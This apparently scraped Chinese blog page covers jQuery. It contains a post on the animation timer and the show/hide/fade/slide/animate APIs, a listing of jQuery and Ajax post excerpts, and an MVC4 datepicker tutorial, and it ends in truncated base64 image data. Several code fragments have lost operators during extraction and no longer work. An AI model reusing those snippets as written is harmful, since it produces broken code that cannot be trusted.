jQuery.fx.timer = function( timer ) { if ( timer() jQuery.timers.push( timer ) ) { jQuery.fx.start(); } }; //计时步长 jQuery.fx.interval = 13; //启动计时 jQuery.fx.start = function() { if ( !timerId ) { timerId = setInterval( jQuery.fx.tick, jQuery.fx.interval ); } }; 变量jQuery.timers = [];用来保存每次tick需要执行的函数列表。一般来说就只有一个函数,就是Animation函数中定义的tick函数。jQuery.fx.interval可以用来设置动画每两帧之间的时间间隔,默认为13毫秒。 动画的分析就到这里。下面把动画相关的api列一下 jQuery.fn.show([ duration ] [, easing ] [, complete ] | options )(显示所有匹配的元素。此外,你还可以指定元素显示的过渡动画效果。如果元素本身是可见的,则不对其作任何改变。如果元素是隐藏的,则使其可见。与该函数相对的是hide()函数,用于隐藏所有匹配的元素) jQuery.fn.hide([ duration ] [, easing ] [, complete ] | options)(隐藏所有匹配的元素。此外,你还可以指定元素隐藏的过渡动画效果。如果元素本身是不可见的,则不对其作任何改变。如果元素是可见的,则将其隐藏。) jQuery.fn.toggle([ duration ] [, easing ] [, complete ] | options)(切换所有匹配的元素。此外,你还可以指定元素切换的过渡动画效果。所谓”切换”,也就是如果元素当前是可见的,则将其隐藏;如果元素当前是隐藏的,则使其显示(可见)。) 这里介绍的toggle()函数用于切换元素的显示/隐藏。jQuery还有一个同名的事件函数toggle(),用于绑定click事件并在触发时轮流切换执行不同的事件处理函数。 jQuery.fn.slideDown([ duration ] [, easing ] [, complete ] | options)(显示所有匹配的元素,并带有向下滑动的过渡动画效果。向下滑动的动画效果,即元素可见区域的高度从0逐渐增大到其原有高度(向下逐渐展开)。如果元素本身是可见的,则不对其作任何改变。如果元素是隐藏的,则使其可见。 与该函数相对的是slideUp()函数,用于隐藏所有匹配的元素,并带有向上滑动的过渡动画效果) jQuery.fn.slideUp([ duration ] [, easing ] [, complete ] | options)(隐藏所有匹配的元素,并带有向上滑动的过渡动画效果。向上滑动的动画效果,即元素可见区域的高度从原有高度逐渐减小到0(向上逐渐收起)。如果元素本身是隐藏的,则不对其作任何改变。如果元素是可见的,则将其隐藏) jQuery.fn.slideToggle([ duration ] [, easing ] [, complete ] | options)(切换所有匹配的元素,并带有滑动的过渡动画效果。所谓”切换”,也就是如果元素当前是可见的,则将其隐藏(向上滑动);如果元素当前是隐藏的,则使其显示(向下滑动)) jQuery.fn.fadeIn([ duration ] [, easing ] [, complete ] | options)(显示所有匹配的元素,并带有淡入的过渡动画效果。淡入的动画效果,即元素的不透明度的比例从0%逐渐增加到100%。如果元素本身是可见的,则不对其作任何改变。如果元素是隐藏的,则使其可见。与该函数相对的是fadeOut()函数,用于隐藏所有匹配的元素,并带有淡出的过渡动画效果) jQuery.fn.fadeOut([ duration ] [, easing ] [, complete ] | options)(隐藏所有匹配的元素,并带有淡出的过渡动画效果。所谓”淡出”的动画效果,即元素的不透明度的比例从100%逐渐减小到0%。如果元素本身是隐藏的,则不对其作任何改变。如果元素是可见的,则将其隐藏) jQuery.fn.fadeToggle([ duration ] [, easing ] [, complete ] | options)(切换所有匹配的元素,并带有淡入/淡出的过渡动画效果。所谓”切换”,即如果元素当前是可见的,则将其隐藏(淡出);如果元素当前是隐藏的,则使其显示(淡入)) jQuery.fn.animate(cssProperties [, duration ] [, easing ] [, complete ] | cssProperties, options)(执行一个基于css属性的自定义动画。你可以为匹配的元素设置css样式,animate()函数将会执行一个从当前样式到指定的css样式的一个过渡动画。例如:某个div元素的当前高度为100px,将其CSS height属性设为200px,animate()将会执行一个将div元素的高度从100px逐渐增加到200px的过渡动画) jQuery.fn.delay(duration [, queueName ])(延迟队列中下一项的执行。delay()可以将队列中等待执行的下一个动画延迟指定的时间后才执行。它常用在队列中的两个jQuery效果函数之间,从而在上一个动画效果执行后延迟下一个动画效果的执行时间。如果下一项不是效果动画,则它不会被加入效果队列中,因此该函数不会对它进行延迟调用) jQuery.fn.stop([ queueName ] [, clearQueue [, jumpToEnd ] ])(停止当前匹配元素上正在运行的动画。默认情况下,stop()函数只会停止当前正在运行的动画。如果你使用animate()函数为当前元素设置了A、B、C这3段动画,如果当前正在执行的动画是A,则只会停止动画A的执行,不会阻止动画B和C的执行。当然,你也可以通过指定可选的选项参数来停止所有的动画。停止动画并不是恢复到该动画执行前的状况,而是直接停止,当前动画执行到什么状态,就停留在什么状态。例如:执行一个元素高度从100px到200px的过渡动画,当高度为150px时停止了该动画,则当前高度仍然保持150px的现状。如果该动画设置了执行完毕后的回调函数,则不会执行该回调函数。) jQuery.fn.finish([ queueName ])(立即完成队列中的所有动画。finish()会停止当前正在运行的动画,删除所有队列中的动画,并完成匹配元素的所有动画) jQuery.fn. fadeTo([speed,]opacity[,callback])(将被选元素的不透明度逐渐地改变为指定的值) jQuery.fx.off(该属性用于设置或返回是否全局性地禁用所有动画。如果不对该属性设置值,则返回表示是否全局性地禁用了动画效果的布尔值。如果将该属性设为true,将全局性地禁用所有动画。所有正在执行的动画队列不会受到影响。尚未执行的任何动画队列都会在执行时立即完成,而不再带有动画效果。如果将该属性设为false,将全局性地启用动画效果。 你可以在遇到以下情况时,需要禁用动画效果:你在配置比较低的电脑上使用jQuery;某些用户可能由于动画效果而遇到了可访问性问题。) jQuery.fx.interval(该属性用于设置或返回动画的帧速(毫秒值)。jQuery.fx.interval属性用于设置jQuery动画每隔多少毫秒绘制一帧图像(触发一次样式更改,浏览器可能会重新绘制当前页面)。该值越小,则动画的触发次数越多,动画效果也更明显、更平滑,当然也就越耗费性能。更改该属性值时,正在执行的动画队列将不受影响。尚未执行的任何动画队列都将按照更改后的帧速来绘制动画效果) 如果觉得本文不错,请点击右下方【推荐】!

jQuery UI框架

1、 2、 3、 4、 5、 6、 随笔分类 – jQuery   摘要: function get_hs_page(cur_page, total_page) { var result = “”; for(var i = 1; i 1) { i = cur_page – 6; }else if(i == cur_page … posted @  Ruthless 阅读(240) |     摘要: 源码: ” at+ueditor整合 /css/jquery.atwho.min.css” rel=”stylesheet” … posted @  Ruthless 阅读(243) |     摘要: 支持版本支持 UEditor 1.3.0+ 的版本使用方法1、线上下载ueditor下载地址:ueditor,要下载”完整版 + 源码”2、安装nodejs下载nodejs并安装到本地安装成功后,打开控制台,在控制台下输入node -v如果控制台输出nodejs的版本。那恭喜你,nodejs安装好了… posted @  Ruthless 阅读(105) |     摘要: 微博的at功能前端实现 posted @  Ruthless 阅读(92) |     摘要: ” js操作textarea方法集合 abcdefghijklmnopqrstuvwxyz … posted @  Ruthless 阅读(65) |     摘要: 在ueditor目录下找到uedior.config.js,找到如下三行:,imageUrl: “/controller.json” //图片上传提交后台对应的地址,路径固定为*/controller.*,imagePath: “/ueditor/” //图片在服务器上的存储目录,imageFiel… posted @  Ruthless 阅读(691) |     摘要: 点击 日 一 二 三 四 五 六 … posted @  Ruthless 阅读(4323) |     摘要: 1、oschina开源社区-jQuery教程2、jQuery PrimeUI(推荐)3、弹出框、警告框、提示框、拖动支持、位置固定、选项卡切换4、Bootstrap框架(推荐)5、Bootstrap3.1.1DEMO6、Bootstrap教程 posted @  Ruthless 阅读(373) |     摘要: jQuery-zclip是一个复制内容到剪贴板的jQuery插件,使用它我们不用考虑不同浏览器和浏览器版本之间的兼容问题。jQuery-zclip插件需要Flash的支持,使用时记得安装Adobe Flash Player。1、jQuery-zclip插件官网ZeroClipboard.swf下载地址2、jQuery-zclip用法//引入jQuery-zclip相关js及swf文件 复制 配置说明path:swf的路径(复制主要是用flash解决不同浏览器的复制)copy:待复制的内容, 可以是静态内容, 也可以 return 动态… posted @  Ruthless 阅读(3536) |     摘要: jQuery插件AjaxFileUpload用来实现ajax文件上传,该插件使用非常简单,接下来写个demo演示怎么用AjaxFileUpload插件实现文件上传。1、引入AjaxFileUpload插件相关的js备注:测试发现,ajaxfileupload对jQuery版本是有要求的,在使用中ajaxfileupload和jQuery对应的js版本要一致,不然会导致异常发生,可以从ajaxfileupload官网下载,避免版本冲突。2、实现上传功能代码 ” ajax文件上传 … posted @  Ruthless 阅读(8607) |     摘要: 目前市面上比较火爆的浏览器内核提供商,有微软的IE、mozilla的firefox、谷歌的chrome、苹果的safari。IE浏览器下的项目过去占比非常大,近年随着其他浏览器厂商发展势头迅猛,过去的项目要求在其他浏览器下也能兼容,势必引起一场兼容测试风暴。而今天,笔者向大家介绍一下IE浏览器下的web调试工具,帮助大家了解web测试工具的使用。IE WebDeveloper(官网)IE WebDeveloper可以让你检查和编辑你的HTML DOM, 显示错误信息, 日志信息, 显示网站源代码, 监视DHTML事件和HTTP流量. 如果你是一个开发人员或设计人员, 但平常又喜欢使用IE, 那 posted @  Ruthless 阅读(372) |     摘要: 第一步:引入jQuery库第二步:开发Ajax封装类,已测试通过,可以直接调用,直接贴代码,讲解就省了/***************************************************************** jQuery Ajax封装通用类 (linjq) *****************************************************************/$(function(){ /** * ajax封装 * url 发送请求的地址 * data 发送到服… posted @  Ruthless 阅读(1663) |     摘要: 一、封装自定义验证方法-validate-methods.js/***************************************************************** jQuery Validate扩展验证方法 (linjq) *****************************************************************/$(function(){ // 判断整数value是否等于0 jQuery.validator.addMethod(“isIntEqZero”, f… posted @  Ruthless 阅读(4033) |     摘要: jQuery校验官网地址:http://bassistance.de/jquery-plugins/jquery-plugin-validation一、导入js库注:返回web项目的根路径。二、默认校验规则(1)、required:true 必输字段(2)、remote:”remote-valid.jsp” 使用ajax方法调用remote-valid.jsp验证输入值(3)、email:true 必须输入正确格式的电子邮件(4)、url:true 必须输入正确格式的网址(5)、date:t… posted @  Ruthless 阅读(3375) |     摘要: /***************************************************************** 表单校验工具类 (linjq) *****************************************************************/ /** * 判断整数num是否等于0 * * @param num * @return * @author jiqinlin */function isIntEqZero(num){ return num==0;}/** * 判断整数num… posted @  Ruthless 阅读(278) |     摘要: 一、相关key值介绍uploader:uploadify.swf文件的相对路径,该swf文件是一个带有文字BROWSE的按钮,点击后淡出打开文件对话框,默认值:uploadify.swf。 script:后台处理程序的相对路径 。默认值:uploadify.php scriptData:上传到后台的参数,参数为json格式。checkScript:用来判断上传选择的文件在服务器是否存在的后台处理程序的相对路径 fileDataName:设置一个名字,在服务器处理程序中根据该名字来取上传文件的数据。默认为Filedata method:提交方式Post或Get,默认为Post scriptAcc posted @  Ruthless 阅读(4610) |     摘要: jQuery插件的开发包括两种:一种是类级别的插件开发,即给jQuery添加新的全局函数,相当于给jQuery类本身添加方法。jQuery的全局函数就是属于jQuery命名空间的函数,另一种是对象级别的插件开发,即给jQuery对象添加方法。下面就两种函数的开发做详细的说明。1、类级别的插件开发-为jQuery添加静态方法类级别的插件开发最直接的理解就是给jQuery类添加类方法,可以理解为添加静态方法。典型的例子就是$.AJAX()这个函数,将函数定义于jQuery的命名空间中。关于类级别的插件开发可以采用如下几种形式进行扩展:1.1 添加一个新的全局函数添加一个全局函数,我们只需如下定义: posted @  Ruthless 阅读(279) |     摘要: jQuery有些版本中实现CheckBox全选/全不选/反选会有bug,经测试jquery-1.3.1.js 测试通过,jquery-1.5.1.js 测试不通过。实现CheckBox全选/全不选/反选代码如下: %@ page language=”java” pageEncoding=”UTF-8″% !DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.01 Transitional//EN” html head title posted @  Ruthless 阅读(1727) |     摘要: 本文演示如何在MyEclipse项目中使用My97DatePicker日期控件1、下载My97DatePicker日期控件,My97DatePicker日期控件下载地址2、在MyEclipse项目中安装My97DatePicker,把下载后的My97DatePicker解压后放在WebRoot子目录下,如WebRoot/dd/js/My97DatePicker(我把My97DatePicker放在WebRoot/dd/js/目录下,My97DatePicker为解压后的文件夹)3、引用My97DatePicker,在要使用的jsp页面中引入js,如下4、调用My97DatePicker,如下/ posted @  Ruthless 阅读(7621) |     摘要: 依照WEB2.0风格,设计了几个表格样式,希望大家喜欢。WEB2.0提倡使用div开布局,但不是要完全放弃使用表格,表格在数据展现方面还是不错的选择。现在介绍使用CSS样式表来控制、美化表格的方法。 !DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd” html xmlns=”http://www.w3.org/1999/xhtml” posted @  Ruthless 阅读(9034) |     摘要: 1、require: /.+/,2、username: /^[\u4E00-\u9FA5A-Za-z0-9_\ ]{3,20}$/i,3、password: /^[a-zA-Z0-9\_\-\~\!\%\*\@\#\$\ \.\(\)\[\]\{\}\ \ \?\\\/\ \ ]{3,20}$/,4、number: /^\d+$/,5、money: /^(([1-9]\d*)|(([0-9]{1}|[1-9]+)\.[0-9]{1,2}))$/,6、per: /^(?:[1-9][0-9]?|100)(?:\.[0-9]{1,2})?$/,7、email: /^\w+([- posted @  Ruthless 阅读(70) |     摘要: 本案例实现类似开关按钮效果。页面有下拉列表、文本框、按钮等表单元素,大致实现如下效果:1、页面一加载时,文本框隐藏,下拉列表显示,按钮值变为 显示文本框 。2、点击 显示文本框 按钮时,文本框显示,下拉列表隐藏,按钮值变为 显示下拉列表 。3、点击 显示下拉列表 按钮时,文本框隐藏,下拉列表显示,按钮值变为 显示文本框 。 !DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.01 Transitional//EN” html head title hide_or_show.html / posted @  Ruthless 阅读(2494) |     摘要: !DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.01 Transitional//EN” html head title 给table新增水平滚动条 /title meta http-equiv=”keywords” content=”keyword1,keyword2,keyword3″ meta http-equiv=”description” content=”this is  posted @  Ruthless 阅读(3705) |     摘要: 原理:用户在文本框中输入一个字符(或输入字符的首字母),然后利用ajax,从后台服务器中进行检索,组装后并返回到页面,页面通过javascript进行解析,在一个层里面显示出来。类似的效果如下: %@ page language=”java” pageEncoding=”UTF-8″% !DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.01 Transitional//EN” html head title jQuery插件–jque posted @  Ruthless 阅读(1398) |     摘要: jQuery.ajax({“type”:”post”,”url”:”http://www.baidu.com”, “success”:function(rel){if(rel.isSuccess){ window.open(rel.url,”_blank”);}}});这个url请求成功后window.open(rel.url,”_blank”);会被浏览器拦截,无法打开新窗口,如果把window.open()放在ajax外面,问题就迎刃而解,代码如下:v posted @  Ruthless 阅读(1306) |     摘要: 在开发web应用时,经常遇到类似省市区级联下拉框操作,即选中省份自动级联加载该省份所有的市,选中市自动级联加载该市所有的区;假设省市区的数据量很大,此时用户想选中某市,因而要从上往下查找,可能半天都找不到,用户体验不佳,因此引入jQuery插件 自动补齐flexselect可解决该弊端,因为该插件支持模糊检索自动补齐,可在极短时间内找到想要的结果,节省了时间又增强了用户操作速度。自动补齐flexselect插件用法请看:http://www.tieguanyin168.com/index.php/jqueryflexselect-1505.html以下模拟省市区级联案例,效果如下:源码:1、服 posted @  Ruthless 阅读(545) |     摘要: 今天在项目中,刚好用到给指定的table添加一行、删除一行,就直接找google,搜出来的东西不尽如人意,不是功能不好就是千篇一律,简直浪费时间还不讨好,于是乎就自己动手封装个,现就把代码分享出来,避免大伙重复造轮子,如有问题欢迎大伙拍砖指正,千万可别人身攻击,嘎嘎。。。需求场景1)、添加一行支持在任意行添加一行且可配置的,如可在第一行添加一行、第二行添加一行、倒数第一行添加一行、倒数第二行添加一行,随需求的变化都不会影响。前提条件:行数需在表中存在否则添加不成功。2)、删除一行支持动态删除一行。先演示结果,如中意了在好好研究代码。1、原始界面如下:2、添加一行,如要添加一行需点击 添加 按钮 posted @  Ruthless 阅读(15832) |     摘要: //将字符串转换为日期 var begin=new Date($(“#begin”).val().replace(/-/g,”/”)); var end=new Date($(“#end”).val().replace(/-/g,”/”)); //js判断日期 if(begin-end 0){ alert(“开始日期要在截止日期之前!”); return false; } posted @  Ruthless 阅读(2271) |     摘要: script type=”text/javascript” $(function(){ //全选 $(“#CheckedAll”).click(function(){ $(‘[name=items]:checkbox’).attr(“checked”, this.checked ); }); $(‘[name=items]:checkbox’).click(function(){ //定义一个临时变量,避免重复使用同一个选择器选择页面中的元素,提升程序效率。 var $tmp=$( posted @  Ruthless 阅读(1506) |     摘要: jQuery验证框架–可选项(一) http://my.oschina.net/duanlijun/blog/9950jQuery验证框架–插件方法(二) http://my.oschina.net/duanlijun/blog/9951jQuery验证框架–选择器及实用工具(三、四) http://my.oschina.net/duanlijun/blog/9952jQuery验证框架–验证器(五) http://my.oschina.net/duanlijun/blog/9953jQuery验证框架–内置验证方法(六) http://my.oschina.net/duanliju posted @  Ruthless 阅读(685) |     摘要: /** * 根据品牌id动态加载标的物 * @return * @throws DataBaseException * @throws IOException */ public String loadModel() throws DataBaseException, IOException{ HttpServletRequest request=ServletActionContext.getRequest(); HttpServletResponse response=ServletActionContext.getResponse(); response.setContentType(. posted @  Ruthless 阅读(1220) |     摘要: 如果你拿着一个疑问去找专业人士寻找答案,那么你的一个疑问会变成三个,因为他会用另外两个令你更加一头雾水的名词来解释你的这个疑问。 我想这是大多数,包括我在内,IT人在学习过程中碰到的最大问题。当你有一段代码或是一个概念不是很清楚,百度也好,Google也好,在论坛发问也好,给出的答案往往又会夹杂着更多你不懂得概念和令你头疼的代码。 我亦是吃了同样的亏,痛定思痛,决定对animate方面做一些总结,希望能给大家一些启发和帮助从一个实际应用谈起 今天不谈animate()、fadeIn()、fadeOut()、slideUp()、slideDown()、show()、hide()诸如此类的具体动. posted @  Ruthless 阅读(449) |     摘要: 在jQuery的许多方法中,很多方法的参数可以传入一个JSON对象,比如Ajax方法的第二个参数。怎么将文本转化成JSON对象,需要注意以下问题:1)$.parseJSON方法返回的是一个字符串,而不是JSON对象。2)要将字符串转化成对象,很容易想起JS中的eval方法。事实上是可以的,不过需要加上括号。如var js=”{\”PageIndex\”:\”1\”}”;var obj=eval(“(“+js+”)”);。不过使用eval,是不安全的,因为其可以编译任何js代码。3)下载一个JSO posted @  Ruthless 阅读(574) |     摘要: 1.执行时间window.onload必须等到页面内包括图片的所有元素加载完毕后才能执行。$(document).ready()是DOM结构绘制完毕后就执行,不必等到加载完毕。 2.编写个数不同window.onload不能同时编写多个,如果有多个window.onload方法,只会执行一个$(document).ready()可以同时编写多个,并且都可以得到执行 3.简化写法window.onload没有简化写法$(document).ready(function(){})可以简写成$(function(){});另外,需要注意一点,由于在 $(document).ready() 方法内注册 posted @  Ruthless 阅读(1586) |     摘要: 1判断select选项中是否存在Value=”paraValue”的Item2向select选项中加入一个Item3从select选项中删除一个Item4删除select中选中的项5修改select选项中value=”paraValue”的text为”paraText”6设置select中text=”paraText”的第一个Item为选中7设置select中value=”paraValue”的Item为选中8得到select的当前选中项的value9得到select的当前选中项的text10得 posted @  Ruthless 阅读(277) |     摘要: 1. $(“#select_id”).change(function(){… }); //为select添加事件,当选择其中一项时触发2. $(“#select_id”).find(“option:selected”).text();//获取select选中的Text3. $(“#select_id”).val();//获取Select选中的Value4. $(“#select_id “).get(0).selectedIndex;//获取Select选中的索引值5. $(“#se posted @  Ruthless 阅读(728) |     摘要: 模拟下拉列表二级菜单联动 1、页面 tr td align=”right” font color=”red” * /font 一级服务类型: /td td select name=”dept” id=”dept” onchange=”loadDeptChild(this.options[this.options.selectedIndex].value)”/ option value= posted @  Ruthless 阅读(6307) |     摘要: !DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.01 Transitional//EN” html head base href=” %=basePath% ” title 3G业务文件下载 /title meta http-equiv=”Content-Type” content=”application/xhtml+xml; charset=utf-8″ / posted @  Ruthless 阅读(5978) |     摘要: 一、设置cookie 每个cookie都是一个键/值对,可以把一个字符串赋值给document.cookie,如:document.cookie=”userId=828″; 如果要一次存储多个键/值对,可以使用分号加空格(; )隔开,如: document.cookie=”userId=828; userName=hulk”; 在cookie的键或值中不能使用分号(;)、逗号(,)、等号(=)以及空格。在cookie的键中做到这点很容易,但要保存的值是不确定的。如何来存储这些值呢?方法是用escape()函数进行编码,它能将一些特殊符号使用十六进制表示, posted @  Ruthless 阅读(460) |     摘要: 表格可以实现td中的元素垂直居中显示,但是前提条件必须定义td的高才可行。但是很多时候会用到元素跟随浏览器的大小垂直居中,如在制作展示官网、活动展示网等等的时候。问题:实现div垂直居中并在缩放浏览器尺寸的时候仍然居中。解决方案:1、浏览器可视区域的高度-元素的高度/2 = 元素距离浏览器可视区域顶部的距离。(bodyHeight divHeight)/22、浏览器可视区域如果小于元素的高度,即元素距离浏览器可视区域顶部的距离为零。3、onresize()当浏览器的尺寸改变的时候触发事件。使用onresize()每次改变的时候,重新计算一下元素到顶部的距离。 实现代码:function d posted @  Ruthless 阅读(2381) |     摘要: DWR(Direct Web Remoting)是一个用于改善web页面与Java类交互的远程服务器端Ajax开源框架,可以帮助开发人员开发包含AJAX技术的网站.它可以允许在浏览器里的代码使用运行在WEB服务器上的JAVA函数,就像它就在浏览器里一样。 以下模拟一个简单的dwr入门案例,重点理解dwr是如何跟java后台服务器打交道的模拟效果如下该功能说明了dwr是怎么跟后台服务器打交道的模拟从服务器加载下拉列表数据模拟保存功能模拟查询功能 接下来为dwr+spring集成步骤:1、新建一个web工程,导入dwr+spring所需jar,如下图 目录结构图 修改web.xml ?xml posted @  Ruthless 阅读(9391) |     摘要: 使用XMLHTTPRequest对象来进行AJAX的异步数据交互服务器端代码和请求页面请看http://www.cnblogs.com/linjiqin/archive/2011/03/26/1996629.htmljs代码如下://用户名校验的方法//使用XMLHTTPRequest对象来进行AJAX的异步数据交互var xmlhttp;function verify() { var userName = document.getElementById(“userName”).value; //1.创建XMLHttpRequest对象 //这是XMLHttpReuques posted @  Ruthless 阅读(247) |     摘要: 使用XMLHTTPRequest对象来进行AJAX的异步数据交互服务器端代码和请求页面请看http://www.cnblogs.com/linjiqin/archive/2011/03/24/1994463.htmljs代码如://用户名校验的方法//这个方法将使用XMLHTTPRequest对象来进行AJAX的异步数据交互var xmlhttp;function verify() { //0。使用dom的方式获取文本框中的值 //document.getElementById(“userName”)是dom中获取元素节点的一种方法,一个元素节点对应HTML页面中的一个标签 posted @  Ruthless 阅读(272) |     摘要: 以下使用jQuery+Servlet接受和处理xml数据,模拟判断用户名是否存在,效果如下:服务器端package com.ljq.test;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import javax.servlet.ServletException;import java.io.IOException;import java.io.PrintWriter;/** * 利用 posted @  Ruthless 阅读(1701) |     摘要: select name=”queryInfo.cityCode” !– 服务器端代码如: public class QueryInfo { private String cityCode; //cityCode的getter、setter public String getCityCode() { return cityCode; } public void setCityCode(String cityCode) { this.cityCode = cityCode; } } private QueryInfo queryInfo; //quer posted @  Ruthless 阅读(235) |     摘要: 本案例通过jQuery和Servlet技术来判断用户名是否存在,让读者明白jQuery是怎么调用服务器后台的。还给出了解决中文乱码的方案和如何避免各种浏览器的缓存。 功能如下:如果用户名为空提示 用户名不能为空 如果用户名存在提示 用户名[xxxxxx]已经存在,请使用其他用户名, 4 如果用户名不存在提示 用户名[xxxxxx]尚未存在,可以使用该用户名注册, 5 运行效果如下: 目录结构:服务器端AjaxServerpackage com.ljq.test;import java.io.IOException;import java.io.PrintWriter;import jav posted @  Ruthless 阅读(854) |     摘要: 以下为myeclipse安装jQuery插件的安装步骤:1、在网上下载spket-1.6.12.zip压缩文件,解压后会看到eclipse目录下有features、plugins这两个文件夹2、把features、plugins这两个文件夹下的文件复制黏贴到D:\myeclipse6.5\myeclipse\eclipse\目录下(注意features、plugins要对应清楚哦),然后重启myeclipse3、重启myeclipse后,打开window – preference – spket – javascript profiles – new – posted @  Ruthless 阅读(2166) |     摘要: 以下采用struts2+jquery+json模拟一个案例。当点击提交按钮时会把输入的数据提交到后台,然后从后台获取数据在客户端显示。效果如下:接下来为struts2+jquery+json集成步骤:1、新建一个web工程,导入struts2+jquery+json所需jar,如下图目录结构图 2、创建实体类Userpackage com.ljq.bean;import java.io.Serializable;@SuppressWarnings(“serial”)public class User implements Serializable { private int posted @  Ruthless 阅读(20131) |     摘要: 本案例采用jQuery实现动态搜索显示功能,只要输入值就能立刻动态显示数据,不同于常规查询方法。模拟效果如下:1、 2、 %@ page language=”java” pageEncoding=”UTF-8″% !DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.01 Transitional//EN” html head title struts2 /title meta http-equiv=” posted @  Ruthless 阅读(2568) |     摘要: body posted @  Ruthless 阅读(658) |     摘要: //js获取项目根路径,如: http://localhost:8083/uimcardprjfunction getRootPath(){ //获取当前网址,如: http://localhost:8083/uimcardprj/share/meun.jsp var curWwwPath=window.document.location.href; //获取主机地址之后的目录,如: uimcardprj/share/meun.jsp var pathName=window.document.location.pathname; var pos=curWwwPath.indexOf(pathN posted @  Ruthless 阅读(18985) |  

jquery选择器选取class

一.什么是jQuery选择器 Query选择器继承了CSS与Path语言的部分语法,允许通过标签名.属性名或内容对DOM元素进行快速.准确的选择, 而不必担心浏览器的兼容性,通过jQuery选择器对页 … 我们已经使用了带有简单Css选择器的jQuery选取函数:$().现在是时候深入了解jQuery选择器语法,以及一些提取和扩充选中元素集的方法了. 一.jQuery选择器 在CSS3选择器标淮草案定义 …     我们已经使用了带有简单Css选择器的jQuery选取函数:$().现在是时候深入了解jQuery选择器语法,以及一些提取和扩充选中元素集的方法了. 一.jQuery选择器 在CSS3选择器标淮 … 我们已经使用了带有简单Css选择器的jQuery选取函数:$().现在是时候深入了解jQuery选择器语法,以及一些提取和扩充选中元素集的方法了. 一.jQuery选择器 在CSS3选择器标淮草案定义 … 选择器是JQuery的根基,在JQuery中,对事件的处理,遍历DOM和AJAX操作都依赖于选择器.如果能够熟练地使用选择器,不仅能简化代码,而且还可以事半功倍. JQuery选择器的优势 1.简洁的 … 选择器是jQuery的根基,在jQuery中,对事件处理.遍历DOM和Ajax操作都依赖于选择器.熟练使用选择器,不仅可以简化代码,而且可以达到事半功倍的效果. 2.1 jQuery选择器是什么 1. … × 目录 [1]通用形式 [2]反向形式 [3]首尾元素 [4]唯一元素 前面的话 本文是子元素选择器的续篇,主要介绍关于nth-of-type()选择器的内容.该部分内容并非没有出现在 锋利的 … × 目录 [1]通用形式 [2]首尾索引 [3]奇偶索引[4]范围索引 前面的话 上一篇介绍了过滤选择器中的子元素选择器部分,本文开始介绍极易与之混淆的索引选择器 通用形式 $(‘:eq(index) … × 目录 [1]通用形式 [2]反向形式 [3]首尾元素 [4]唯一元素 前面的话 在上一篇中已经介绍过基础选择器和层级选择器,本文开始介绍过滤选择器.过滤选择器是jQuery选择器中最为庞大也是最为 …

mvc4中jquery-ui日期控件datepicker的应用

本文适合mvc中日期选择需要的同学: 假设读者已经具备了mvc4和javascript中的相关知识 一、 开始项目之前把项目中目录:/Content/themes/base/jquery-ui.css加入到你的bundle的(~/Content/css)里,如下: bundles.Add(new StyleBundle(“~/Content/css”).Include(“~/Content/site.css”, “~/Content/themes/base/jquery-ui.css”)); 1.在mvc项目中添加一个日期model:DateMOdel.cs public class DateModel { [Display(Name = “DOB”)] [DataType(DataType.Date)] public Nullable DateTime DOB { get; set; } } 2.设置下日期选择格式:可以在Javascript下新建一个datepicker.js,添加你想要的日期选择格式,添加下面代码: $(function () { $.validator.addMethod(‘date’, function (value, element) { if (this.optional(element)) { return true; } var valid = true; try { $.datepicker.parseDate(‘dd/MM/yy’, value); } catch (err) { valid = false; } return valid; }); $(“.datetype”).datepicker({ dateFormat: ‘dd/MM/yy’ }); }); 引用这个js文件,你的日期格式被设置成(‘dd/MM/yy’)的格式 3.添加TestController控制器,为Index方法添加视图,在视图里引入DateModel,并且添加一个日期选择器 Index.cshtml 1 @model Mvc515图片存取.Models.DateModel 2 3 @using (Html.BeginForm(“IndexPost”, “Test”, FormMethod.Post, new { @id = “frmtest” })) 4 { 5 6 div 7 @Html.LabelFor(model = model.DOB) 8 /div 9 div 10 @Html.TextBoxFor(model = model.DOB, new { @class = “datetype”, type = “text” }) 11 @Html.ValidationMessageFor(model = model.DOB) 12 /div 13 button type=”submit” 14 submit /button 15 } 16 @section Scripts{ 17 script src=”../../Scripts/datepicker.js” type=”text/javascript” /script 18 @Scripts.Render(“~/bundles/jqueryval”) 19 @Scripts.Render(“~/bundles/jqueryui”) 20 @Styles.Render(“~/Content/themes/base/css”) 21 } 4.在你的web.config文件中 system.web 标签中添加 globalization culture=”en-GB”uiCulture=”en-GB”/ 这保证了选择的日期格式时date-format同default-culture-type的一致性, 到此为止已经可以得到如下的运行结果: aaarticlea/jpeg;base64,/9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQH/2wBDAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQH/wAARCAE6ASQDASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX